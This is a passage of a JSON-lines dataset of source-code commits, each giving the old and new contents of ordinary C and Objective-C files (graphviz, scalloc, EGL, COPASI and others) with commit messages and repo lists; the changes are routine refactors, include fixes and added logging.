*)getText:(id)args;\n-(BOOL)hasData:(id)args;\n-(BOOL)hasText:(id)args;\n-(void)setData:(id)args;\n-(void)setText:(id)args;\n\n@end\n","subject":"Remove Compile warning from clipboard proxy","message":"Remove Compile warning from clipboard proxy\n","lang":"C","license":"apache-2.0","repos":"ashcoding\/titanium_mobile,sriks\/titanium_mobile,prop\/titanium_mobile,taoger\/titanium_mobile,shopmium\/titanium_mobile,jhaynie\/titanium_mobile,kopiro\/titanium_mobile,KangaCoders\/titanium_mobile,benbahrenburg\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,bright-sparks\/titanium_mobile,emilyvon\/titanium_mobile,falkolab\/titanium_mobile,rblalock\/titanium_mobile,shopmium\/titanium_mobile,AngelkPetkov\/titanium_mobile,kopiro\/titanium_mobile,KangaCoders\/titanium_mobile,mvitr\/titanium_mobile,falkolab\/titanium_mobile,pinnamur\/titanium_mobile,shopmium\/titanium_mobile,bright-sparks\/titanium_mobile,hieupham007\/Titanium_Mobile,KangaCoders\/titanium_mobile,perdona\/titanium_mobile,peymanmortazavi\/titanium_mobile,openbaoz\/titanium_mobile,collinprice\/titanium_mobile,jhaynie\/titanium_mobile,pec1985\/titanium_mobile,smit1625\/titanium_mobile,mano-mykingdom\/titanium_mobile,jhaynie\/titanium_mobile,jvkops\/titanium_mobile,pinnamur\/titanium_mobile,jvkops\/titanium_mobile,prop\/titanium_mobile,indera\/titanium_mobile,kopiro\/titanium_mobile,emilyvon\/titanium_mobile,emilyvon\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,shopmium\/titanium_mobile,sriks\/titanium_mobile,KangaCoders\/titanium_mobile,collinprice\/titanium_mobile,indera\/titanium_mobile,bhatfield\/titanium_mobile,AngelkPetkov\/titanium_mobile,peymanmortazavi\/titanium_mobile,FokkeZB\/titanium_mobile,taoger\/titanium_mobile,emilyvon\/titanium_mobile,prop\/titanium_mobile,kopiro\/titanium_mobile,openbaoz\/titanium_mobile,linearhub\/titanium_mobile,openbaoz\/titanium_mobile,FokkeZB\/titanium_mobile,openbaoz\/titanium_mobile,cheekiatng\/titanium_mobile,collinprice\/titanium_mobile,perdona\/titanium_mobile,rblalock\/titanium_mobile,bhatfield\/titanium_mobile,kopiro\/titanium_mobile,prop\/titanium_mobile,mano-mykingdom\/titanium_mobile,rblalock\/titanium_mobile,pec1985\/titanium_mobile,bhatfield\/titanium_mobile,cheekiatng\/titanium_mobile,mano-mykingdom\/titanium_mobile,taoger\/titanium_mobile,falkolab\/titanium_mobile,linearhub\/titanium_mobile,ashcoding\/titanium_mobile,benbahrenburg\/titanium_mobile,prop\/titanium_mobile,shopmium\/titanium_mobile,bhatfield\/titanium_mobile,openbaoz\/titanium_mobile,pec1985\/titanium_mobile,indera\/titanium_mobile,smit1625\/titanium_mobile,mvitr\/titanium_mobile,csg-coder\/titanium_mobile,jhaynie\/titanium_mobile,smit1625\/titanium_mobile,smit1625\/titanium_mobile,perdona\/titanium_mobile,bright-sparks\/titanium_mobile,cheekiatng\/titanium_mobile,pec1985\/titanium_mobile,AngelkPetkov\/titanium_mobile,ashcoding\/titanium_mobile,prop\/titanium_mobile,shopmium\/titanium_mobile,bhatfield\/titanium_mobile,falkolab\/titanium_mobile,emilyvon\/titanium_mobile,pinnamur\/titanium_mobile,collinprice\/titanium_mobile,ashcoding\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,hieupham007\/Titanium_Mobile,ashcoding\/titanium_mobile,jhaynie\/titanium_mobile,sriks\/titanium_mobile,bright-sparks\/titanium_mobile,linearhub\/titanium_mobile,sriks\/titanium_mobile,hieupham007\/Titanium_Mobile,mvitr\/titanium_mobile,linearhub\/titanium_mobile,FokkeZB\/titanium_mobile,FokkeZB\/titanium_mobile,bright-sparks\/titanium_mobile,KangaCoders\/titanium_mobile,formalin14\/titanium_mobile,linearhub\/titanium_mobile,openbaoz\/titanium_mobile,pinnamur\/titanium_mobile,indera\/titanium_mobile,bhatfield\/titanium_mobile,rblalock\/titanium_mobile,cheekiatng\/titanium_mobile,hieupham007\/Titanium_Mobile,jvkops\/titanium_mobile,taoger\/titanium_mobile,emilyvon\/titanium_mobile,hieupham007\/Titanium_Mobile,perdona\/titanium_mobile,benbahrenburg\/titanium_mobile,openbaoz\/titanium_mobile,taoger\/titanium_mobile,mano-mykingdom\/titanium_mobile,pinnamur\/titanium_mobile,falkolab\/titanium_mobile,sriks\/titanium_mobile,pec1985\/titanium_mobile,csg-coder\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,cheekiatng\/titanium_mobile,shopmium\/titanium_mobile,sriks\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,perdona\/titanium_mobile,peymanmortazavi\/titanium_mobile,indera\/titanium_mobile,FokkeZB\/titanium_mobile,indera\/titanium_mobile,rblalock\/titanium_mobile,formalin14\/titanium_mobile,jvkops\/titanium_mobile,taoger\/titanium_mobile,mano-mykingdom\/titanium_mobile,mvitr\/titanium_mobile,pinnamur\/titanium_mobile,csg-coder\/titanium_mobile,AngelkPetkov\/titanium_mobile,collinprice\/titanium_mobile,smit1625\/titanium_mobile,benbahrenburg\/titanium_mobile,jvkops\/titanium_mobile,sriks\/titanium_mobile,sriks\/titanium_mobile,rblalock\/titanium_mobile,formalin14\/titanium_mobile,rblalock\/titanium_mobile,jvkops\/titanium_mobile,mvitr\/titanium_mobile,prop\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,bright-sparks\/titanium_mobile,hieupham007\/Titanium_Mobile,prop\/titanium_mobile,formalin14\/titanium_mobile,formalin14\/titanium_mobile,taoger\/titanium_mobile,formalin14\/titanium_mobile,KangaCoders\/titanium_mobile,smit1625\/titanium_mobile,collinprice\/titanium_mobile,mvitr\/titanium_mobile,smit1625\/titanium_mobile,kopiro\/titanium_mobile,emilyvon\/titanium_mobile,pec1985\/titanium_mobile,emilyvon\/titanium_mobile,mano-mykingdom\/titanium_mobile,AngelkPetkov\/titanium_mobile,falkolab\/titanium_mobile,cheekiatng\/titanium_mobile,FokkeZB\/titanium_mobile,KangaCoders\/titanium_mobile,benbahrenburg\/titanium_mobile,ashcoding\/titanium_mobile,mano-mykingdom\/titanium_mobile,hieupham007\/Titanium_Mobile,perdona\/titanium_mobile,kopiro\/titanium_mobile,csg-coder\/titanium_mobile,csg-coder\/titanium_mobile,falkolab\/titanium_mobile,AngelkPetkov\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,taoger\/titanium_mobile,jvkops\/titanium_mobile,FokkeZB\/titanium_mobile,falkolab\/titanium_mobile,indera\/titanium_mobile,bhatfield\/titanium_mobile,jhaynie\/titanium_mobile,jhaynie\/titanium_mobile,benbahrenburg\/titanium_mobile,AngelkPetkov\/titanium_mobile,ashcoding\/titanium_mobile,benbahrenburg\/titanium_mobile,mano-mykingdom\/titanium_mobile,bright-sparks\/titanium_mobile,cheekiatng\/titanium_mobile,rblalock\/titanium_mobile,cheekiatng\/titanium_mobile,pec1985\/titanium_mobile,bhatfield\/titanium_mobile,ashcoding\/titanium_mobile,mvitr\/titanium_mobile,collinprice\/titanium_mobile,jvkops\/titanium_mobile,openbaoz\/titanium_mobile,KangaCoders\/titanium_mobile,peymanmortazavi\/titanium_mobile,formalin14\/titanium_mobile,peymanmortazavi\/titanium_mobile,smit1625\/titanium_mobile,indera\/titanium_mobile,csg-coder\/titanium_mobile,peymanmortazavi\/titanium_mobile,pec1985\/titanium_mobile,pec1985\/titanium_mobile,jhaynie\/titanium_mobile,pinnamur\/titanium_mobile,peymanmortazavi\/titanium_mobile,linearhub\/titanium_mobile,linearhub\/titanium_mobile,bright-sparks\/titanium_mobile,csg-coder\/titanium_mobile,perdona\/titanium_mobile,linearhub\/titanium_mobile,benbahrenburg\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,csg-coder\/titanium_mobile,perdona\/titanium_mobile,kopiro\/titanium_mobile,shopmium\/titanium_mobile,pinnamur\/titanium_mobile,hieupham007\/Titanium_Mobile,mvitr\/titanium_mobile,collinprice\/titanium_mobile,formalin14\/titanium_mobile,FokkeZB\/titanium_mobile,peymanmortazavi\/titanium_mobile,AngelkPetkov\/titanium_mobile,pinnamur\/titanium_mobile"}
{"commit":"8980a36ed47ebab217481f64851f586508a53618","old_file":"MBContactPicker\/UICollectionViewContactFlowLayout.h","new_file":"MBContactPicker\/UICollectionViewContactFlowLayout.h","old_contents":"\/\/\n\/\/  UICollectionViewContactFlowLayout.h\n\/\/  MBContactPicker\n\/\/\n\/\/  Created by Matt Bowman on 12\/1\/13.\n\/\/  Copyright (c) 2013 Citrrus, LLC. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@protocol UICollectionViewDelegateContactFlowLayout <UICollectionViewDelegateFlowLayout>\n\n- (void)collectionView:(UICollectionView*)collectionView willChangeContentSizeFrom:(CGSize)currentSize to:(CGSize)newSize;\n\n@end\n\n@interface UICollectionViewContactFlowLayout : UICollectionViewFlowLayout\n\n@end\n","new_contents":"\/\/\n\/\/  UICollectionViewContactFlowLayout.h\n\/\/  MBContactPicker\n\/\/\n\/\/  Created by Matt Bowman on 12\/1\/13.\n\/\/  Copyright (c) 2013 Citrrus, LLC. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@protocol UICollectionViewContactFlowLayoutDelegate\n\n- (void)collectionView:(UICollectionView*)collectionView willChangeContentSizeFrom:(CGSize)currentSize to:(CGSize)newSize;\n\n@end\n\n@interface UICollectionViewContactFlowLayout : UICollectionViewFlowLayout\n\n@end\n","subject":"Rename ContactFlowLayout’s protocol to match the class name","message":"Rename ContactFlowLayout’s protocol to match the class name\n","lang":"C","license":"mit","repos":"octanner\/MBContactPicker,xuzhiming\/MBContactPicker,Citrrus\/MBContactPicker"}
{"commit":"ae1b938494ad128dedf7bcf86201130011a5bc0c","old_file":"cmd\/tools\/convert.h","new_file":"cmd\/tools\/convert.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef CONVERT_H\n#define CONVERT_H\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#ifdef USE_CGRAPH\n#include <cgraph.h>\n#include <cghdr.h>\n#else\n#include <agraph.h>\n#endif\n#include <stdio.h>\n#ifdef HAVE_STDLIB_H\n#include <stdlib.h>\n#endif\n#include <string.h>\n\n    extern void gv_to_gxl(Agraph_t *, FILE *);\n#ifdef HAVE_LIBEXPAT\n    extern Agraph_t *gxl_to_gv(FILE *);\n#endif\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef CONVERT_H\n#define CONVERT_H\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#ifdef USE_CGRAPH\n#include <cgraph.h>\n#include <cghdr.h>\n#else\n#include <agraph.h>\n#endif\n#include <stdio.h>\n#ifdef HAVE_STDLIB_H\n#include <stdlib.h>\n#endif\n#include <string.h>\n\n    extern void gv_to_gxl(Agraph_t *, FILE *);\n#ifdef HAVE_EXPAT\n    extern Agraph_t *gxl_to_gv(FILE *);\n#endif\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Add --without-expat support to .\/configure","message":"Add --without-expat support to .\/configure\n","lang":"C","license":"epl-1.0","repos":"tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,kbrock\/graphviz,kbrock\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,ellson\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,kbrock\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,tkelman\/graphviz"}
{"commit":"eb6524ce84deaee1d83f165afc4b9698375d524e","old_file":"ch1\/replaceSpace.c","new_file":"ch1\/replaceSpace.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main(int argc, char** argv) {\n    if (argc < 2) {\n        printf(\"Too few arguments\\n\");\n        return 1;\n    }\n\n    char* word = argv[1];\n    \/\/ Length AFTER replacing ' ' with \"%20\", counting '\\0'\n    int rlen = 1;\n    \/\/ Determine length of new word\n    for (int i = 0; word[i]; ++i) {\n        rlen += (word[i] == ' ') ? 3 : 1;\n    }\n\n    char rstr[rlen];\n\n    int ridx = 0;\n    for (int i = 0; word[i]; ++i) {\n        if (word[i] == ' ') {\n            rstr[ridx] = '%';\n            rstr[ridx + 1] = '2';\n            rstr[ridx + 2] = '0';\n            ridx += 3;\n        }\n        else {\n            rstr[ridx] = word[i];\n            ridx += 1;\n        }\n    }\n\n    \/\/ Always null terminate :)\n    rstr[rlen - 1] = '\\0';\n    printf(\"Replaced string is %s.\\n\", rstr);\n\n    return 0;\n}\n","subject":"Replace spaces with \"%20\" in a string","message":"Replace spaces with \"%20\" in a string\n","lang":"C","license":"mit","repos":"WalrusCow\/ctci"}
{"commit":"e788cb041968881a53bab4c64974549373a7b1d7","old_file":"src\/allocators\/page_heap.h","new_file":"src\/allocators\/page_heap.h","old_contents":"\/\/ Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_ALLOCATORS_PAGE_HEAP_H_\n#define SCALLOC_ALLOCATORS_PAGE_HEAP_H_\n\n#include \"common.h\"\n#include \"distributed_queue.h\"\n\nnamespace scalloc {\n\nclass PageHeap {\n public:\n  static void InitModule();\n  static PageHeap* GetHeap();\n\n  void* Get();\n  void Put(void* p);\n  void AsyncRefill();\n\n private:\n  static const size_t kPageHeapBackends = 4;\n  static const size_t kPageRefill = 4;\n\n  static PageHeap page_heap_ cache_aligned;\n\n  DistributedQueue page_pool_ cache_aligned;\n};\n\nalways_inline PageHeap* PageHeap::GetHeap() {\n  return &page_heap_;\n}\n\nalways_inline void PageHeap::Put(void* p) {\n  page_pool_.Enqueue(p);\n}\n\nalways_inline void* PageHeap::Get() {\n REDO:\n  void* result = page_pool_.Dequeue();\n  if (UNLIKELY(result == NULL)) {\n    AsyncRefill();\n    goto REDO;\n  }\n  return result;\n}\n\n}  \/\/ namespace scalloc\n\n#endif  \/\/ SCALLOC_ALLOCATORS_PAGE_HEAP_H_\n","new_contents":"\/\/ Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_ALLOCATORS_PAGE_HEAP_H_\n#define SCALLOC_ALLOCATORS_PAGE_HEAP_H_\n\n#include \"common.h\"\n#include \"distributed_queue.h\"\n\nnamespace scalloc {\n\nclass PageHeap {\n public:\n  static void InitModule();\n  static PageHeap* GetHeap();\n\n  void* Get();\n  void Put(void* p);\n  void AsyncRefill();\n\n private:\n  static const size_t kPageHeapBackends = 4;\n  static const size_t kPageRefill = 24;\n\n  static PageHeap page_heap_ cache_aligned;\n\n  DistributedQueue page_pool_ cache_aligned;\n};\n\nalways_inline PageHeap* PageHeap::GetHeap() {\n  return &page_heap_;\n}\n\nalways_inline void PageHeap::Put(void* p) {\n  LOG(kTrace, \"[PageHeap]: put: %p\", p);\n  page_pool_.Enqueue(p);\n}\n\nalways_inline void* PageHeap::Get() {\n REDO:\n  void* result = page_pool_.Dequeue();\n  if (UNLIKELY(result == NULL)) {\n    AsyncRefill();\n    goto REDO;\n  }\n  LOG(kTrace, \"[PageHeap]: get: %p\", result);\n  return result;\n}\n\n}  \/\/ namespace scalloc\n\n#endif  \/\/ SCALLOC_ALLOCATORS_PAGE_HEAP_H_\n","subject":"Increase refill and add logging.","message":"PageHeap: Increase refill and add logging.\n\nSigned-off-by: Michael Lippautz <0d543840881a2c189b4f7636b15eebd6a8f60ace@gmail.com>\n","lang":"C","license":"bsd-2-clause","repos":"cksystemsgroup\/scalloc,cksystemsgroup\/scalloc,cksystemsgroup\/scalloc"}
{"commit":"28d0a9c9dd68320482f506e9a36848f70d3807a0","old_file":"src\/egl\/main\/egltypedefs.h","new_file":"src\/egl\/main\/egltypedefs.h","old_contents":"#ifndef EGLTYPEDEFS_INCLUDED\n#define EGLTYPEDEFS_INCLUDED\n\n\n#include <GL\/egl.h>\n\n\ntypedef struct _egl_config _EGLConfig;\n\ntypedef struct _egl_context _EGLContext;\n\ntypedef struct _egl_display _EGLDisplay;\n\ntypedef struct _egl_driver _EGLDriver;\n\ntypedef struct _egl_mode _EGLMode;\n\ntypedef struct _egl_screen _EGLScreen;\n\ntypedef struct _egl_surface _EGLSurface;\n\n\ntypedef void (*_EGLProc)();\n\ntypedef _EGLDriver *(*_EGLMain_t)(_EGLDisplay *dpy);\n\n\n#endif \/* EGLTYPEDEFS_INCLUDED *\/\n","new_contents":"#ifndef EGLTYPEDEFS_INCLUDED\n#define EGLTYPEDEFS_INCLUDED\n\n\n#include <GLES\/egl.h>\n\n\ntypedef struct _egl_config _EGLConfig;\n\ntypedef struct _egl_context _EGLContext;\n\ntypedef struct _egl_display _EGLDisplay;\n\ntypedef struct _egl_driver _EGLDriver;\n\ntypedef struct _egl_mode _EGLMode;\n\ntypedef struct _egl_screen _EGLScreen;\n\ntypedef struct _egl_surface _EGLSurface;\n\n\ntypedef void (*_EGLProc)();\n\ntypedef _EGLDriver *(*_EGLMain_t)(_EGLDisplay *dpy);\n\n\n#endif \/* EGLTYPEDEFS_INCLUDED *\/\n","subject":"Fix include path to make build work","message":"Fix include path to make build work\n","lang":"C","license":"mit","repos":"jbarczak\/glsl-optimizer,tokyovigilante\/glsl-optimizer,tokyovigilante\/glsl-optimizer,jbarczak\/glsl-optimizer,djreep81\/glsl-optimizer,benaadams\/glsl-optimizer,zeux\/glsl-optimizer,djreep81\/glsl-optimizer,zz85\/glsl-optimizer,zz85\/glsl-optimizer,djreep81\/glsl-optimizer,jbarczak\/glsl-optimizer,tokyovigilante\/glsl-optimizer,benaadams\/glsl-optimizer,mcanthony\/glsl-optimizer,jbarczak\/glsl-optimizer,adobe\/glsl2agal,metora\/MesaGLSLCompiler,adobe\/glsl2agal,zz85\/glsl-optimizer,zz85\/glsl-optimizer,KTXSoftware\/glsl2agal,dellis1972\/glsl-optimizer,zz85\/glsl-optimizer,mcanthony\/glsl-optimizer,KTXSoftware\/glsl2agal,wolf96\/glsl-optimizer,mapbox\/glsl-optimizer,wolf96\/glsl-optimizer,bkaradzic\/glsl-optimizer,zz85\/glsl-optimizer,dellis1972\/glsl-optimizer,KTXSoftware\/glsl2agal,benaadams\/glsl-optimizer,bkaradzic\/glsl-optimizer,dellis1972\/glsl-optimizer,mcanthony\/glsl-optimizer,mapbox\/glsl-optimizer,jbarczak\/glsl-optimizer,dellis1972\/glsl-optimizer,wolf96\/glsl-optimizer,metora\/MesaGLSLCompiler,djreep81\/glsl-optimizer,adobe\/glsl2agal,zeux\/glsl-optimizer,benaadams\/glsl-optimizer,wolf96\/glsl-optimizer,mcanthony\/glsl-optimizer,bkaradzic\/glsl-optimizer,bkaradzic\/glsl-optimizer,mcanthony\/glsl-optimizer,mapbox\/glsl-optimizer,tokyovigilante\/glsl-optimizer,adobe\/glsl2agal,KTXSoftware\/glsl2agal,adobe\/glsl2agal,zeux\/glsl-optimizer,benaadams\/glsl-optimizer,wolf96\/glsl-optimizer,bkaradzic\/glsl-optimizer,mapbox\/glsl-optimizer,benaadams\/glsl-optimizer,dellis1972\/glsl-optimizer,zeux\/glsl-optimizer,tokyovigilante\/glsl-optimizer,mapbox\/glsl-optimizer,metora\/MesaGLSLCompiler,zeux\/glsl-optimizer,KTXSoftware\/glsl2agal,djreep81\/glsl-optimizer"}
{"commit":"9d73dedb1c7e99cbb4a618dc711980ccf153e946","old_file":"source\/main.c","new_file":"source\/main.c","old_contents":"#include <stdio.h>\n#include \"y.tab.h\"\n\nint main(int argc, char ** argv)\n{\n    if(argc > 1)\n    {\n        yyin = fopen(argv[1], \"r\");\n        if(yyin == NULL)\n        {\n            printf(\"File doesn't exits.\\n\");\n            return 1;\n        }\n        strcpy(file_name, argv[1]);\n        \n        if(argc > 2)\n        {\n            if(strcmp(argv[2], \"-print-tree\") == 0)\n                is_to_print = true;\n            \n            \n        }\n    }    \n    read_file();\n    yyparse();\n    if(!has_error)\n        printf(\"\\033[1;32mCompile Success!\\033[0m\\n\");\n    return 0;\n}\n\n","new_contents":"#include <stdio.h>\n#include \"list.h\"\n#include \"syntax.h\"\n#include \"scc_yacc.hpp\"\n\nextern FILE * yyin;\nextern char *file_content[1024];\nextern char file_name[1024];\nextern int yyparse();\n\nvoid read_file()\n{\n    for(int i = 0; !feof(yyin); i++)\n    {\n        file_content[i] = (char * )malloc(1024 * sizeof(char));\n        fgets(file_content[i], 1024, yyin);\n        file_content[i][strlen(file_content[i]) - 1] = '\\0';\n    }\n    fseek(yyin, 0, 0);\n}\n\nint main(int argc, char ** argv)\n{\n    \/\/ read from file\n    if(argc > 1)\n    {\n        strcpy(file_name, argv[1]);\n        yyin = fopen(argv[1], \"r\");\n        if(yyin == NULL)\n        {\n            printf(\"File doesn't exits.\\n\");\n            return 1;\n        }\n    }\n    \/\/ TODO: macro expansion\n\n    \/\/ grammer analysis\n    read_file();\n    if(yyparse() != 0)\n        return 0;\n\n    \/\/ semantic analysis\n    \n    printf(\"\\033[1;32mCompile Success!\\033[0m\\n\");\n    return 0;\n}\n\n","subject":"Clean yacc file, move other functions out of it.","message":"Clean yacc file, move other functions out of it.\n","lang":"C","license":"mit","repos":"RyanWangGit\/scc"}
{"commit":"31994ec56073fc6eb530d2162109613f411398b2","old_file":"src\/vast\/util\/broccoli.h","new_file":"src\/vast\/util\/broccoli.h","old_contents":"#ifndef VAST_UTIL_BROCCOLI_H\n#define VAST_UTIL_BROCCOLI_H\n\n#include <ze\/fwd.h>\n#include \"vast\/util\/server.h\"\n\n\/\/ Forward declaration.\nstruct bro_conn;\n\nnamespace vast {\nnamespace util {\nnamespace broccoli {\n\nstruct connection;\ntypedef util::server<connection> server;\ntypedef std::function<void(ze::event)> event_handler;\n\n\/\/\/ Initializes Broccoli. This function must be called before any other call\n\/\/\/ into the Broccoli library.\n\/\/\/ @param messages If `true`, show message contents and protocol details.\n\/\/\/ @param calltrace If `true`, enable call tracing.\nvoid init(bool messages = false, bool calltrace = false);\n\n\/\/\/ A Broccoli connection actor.\nstruct connection : cppa::sb_actor<connection>\n{\n  \/\/\/ Spawns a new Broccoli connection.\n  \/\/\/ @param The input stream to read data from.\n  \/\/\/ @param The output stream to read data from.\n  connection(\n      cppa::network::input_stream_ptr in,\n      cppa::network::output_stream_ptr out);\n\n  struct bro_conn* bc_;\n  cppa::network::input_stream_ptr in_;\n  cppa::network::output_stream_ptr out_;\n  event_handler event_handler_;\n  \/\/std::vector<ze::event> events_;\n  cppa::behavior init_state;\n};\n\n} \/\/ namespace broccoli\n} \/\/ namespace vast\n} \/\/ namespace util\n\n#endif\n","new_contents":"#ifndef VAST_UTIL_BROCCOLI_H\n#define VAST_UTIL_BROCCOLI_H\n\n#include <ze\/fwd.h>\n#include \"vast\/util\/server.h\"\n\nnamespace vast {\nnamespace util {\nnamespace broccoli {\n\n\/\/ Forward declarations.\nstruct bro_conn;\nstruct connection;\ntypedef util::server<connection> server;\ntypedef std::function<void(ze::event)> event_handler;\n\n\/\/\/ Initializes Broccoli. This function must be called before any other call\n\/\/\/ into the Broccoli library.\n\/\/\/ @param messages If `true`, show message contents and protocol details.\n\/\/\/ @param calltrace If `true`, enable call tracing.\nvoid init(bool messages = false, bool calltrace = false);\n\n\/\/\/ A Broccoli connection actor.\nstruct connection : cppa::sb_actor<connection>\n{\n  \/\/\/ Spawns a new Broccoli connection.\n  \/\/\/ @param The input stream to read data from.\n  \/\/\/ @param The output stream to read data from.\n  connection(\n      cppa::network::input_stream_ptr in,\n      cppa::network::output_stream_ptr out);\n\n  struct bro_conn* bc_;\n  cppa::network::input_stream_ptr in_;\n  cppa::network::output_stream_ptr out_;\n  event_handler event_handler_;\n  \/\/std::vector<ze::event> events_;\n  cppa::behavior init_state;\n};\n\n} \/\/ namespace broccoli\n} \/\/ namespace vast\n} \/\/ namespace util\n\n#endif\n","subject":"Move forward decls in right namespace.","message":"Move forward decls in right namespace.\n","lang":"C","license":"bsd-3-clause","repos":"pmos69\/vast,vast-io\/vast,mavam\/vast,mavam\/vast,vast-io\/vast,pmos69\/vast,mavam\/vast,vast-io\/vast,pmos69\/vast,mavam\/vast,pmos69\/vast,vast-io\/vast,vast-io\/vast"}
{"commit":"59a02d9d0232ed21cddd04d2c60131e9e3e6e69f","old_file":"src\/os\/Win32\/open.c","new_file":"src\/os\/Win32\/open.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <fcntl.h>\n#include <unistd.h>\n\nFILE *os_fopen(const char *path, const char *mode)\n{\n    return fopen(path, mode);\n}\n\nint os_set_non_blocking(FILE *stream)\n{\n    (void)stream;\n    \/* TODO support non-blocking (overlapped ?) file handles *\/\n    return 1; \/\/ return failure for now\n}\n\n","subject":"Add no-op Win32 impl for non-blocking fd","message":"Add no-op Win32 impl for non-blocking fd\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"a95b411928a332a324b9b48d2e1823b68fd8a4cb","old_file":"copasi\/output\/CUDFunction.h","new_file":"copasi\/output\/CUDFunction.h","old_contents":"","new_contents":"\/*****************************************************************************\n* PROGRAM NAME: CUDFunction.h\n* PROGRAMMER: Wei Sun\twsun@vt.edu\n* PURPOSE: Define the user defined function object\n*****************************************************************************\/\n#ifndef COPASI_CUDFunction\n#define\tCOPASI_CUDFunction\n\n#include <string>\n\n#include \"copasi.h\"\n#include \"utilities\/utilities.h\"\n#include \"function\/CBaseFunction.h\"\n#include \"CNodeO.h\"\n\nclass CUDFunction: public CBaseFunction\n{\n private:\n  \/**\n   *  The vector of nodes of the binary tree of the function\n   *\/\n  CCopasiVectorS < CNodeO > mNodes;\n  \/**\n   *  Internal variable\n   *\/\n  unsigned C_INT32 mNidx;\n\n public:\n  \/**\n   *  Default constructor\n   *\/\n  CUDFunction();\n    \n  \/**\n   *  This creates a user defined function with a name an description\n   *  @param \"const string\" &name\n   *  @param \"const string\" &description\n   *\/\n  CUDFunction(const string & name,\n\t       const string & description);\n\n  \/**\n   *  Destructor\n   *\/\n  ~CUDFunction();\n\n  \/**\n   *  Delete\n   *\/\n  void cleanup();\n\n  \/**\n   *  Copy\n   *\/\n  void copy(const CUDFunction & in);\n\n  \/**\n   *  Loads an object with data coming from a CReadConfig object.\n   *  (CReadConfig object reads an input stream)\n   *  @param pconfigbuffer reference to a CReadConfig object.\n   *  @return Fail\n   *\/\n  C_INT32 load(CReadConfig & configbuffer,\n\t       CReadConfig::Mode mode = CReadConfig::LOOP);\n\n  \/**\n   *  Saves the contents of the object to a CWriteConfig object.\n   *  (Which usually has a file attached but may also have socket)\n   *  @param pconfigbuffer reference to a CWriteConfig object.\n   *  @return Fail\n   *\/\n  C_INT32 save(CWriteConfig & configbuffer);\n\n  \/**\n   *  This retrieves the node tree of the function\n   *  @return \"CCopasiVectorS < CNodeO > &\"\n   *\/\n  CCopasiVectorS < CNodeO > & nodes();\n\n private:\n  \/**\n   *  This clears all nodes of the function tree\n   *\/\n  void clearNodes();\n\n  \/**\n   *  This  connects the nodes to build the binary function tree\n   *\/\n  C_INT32 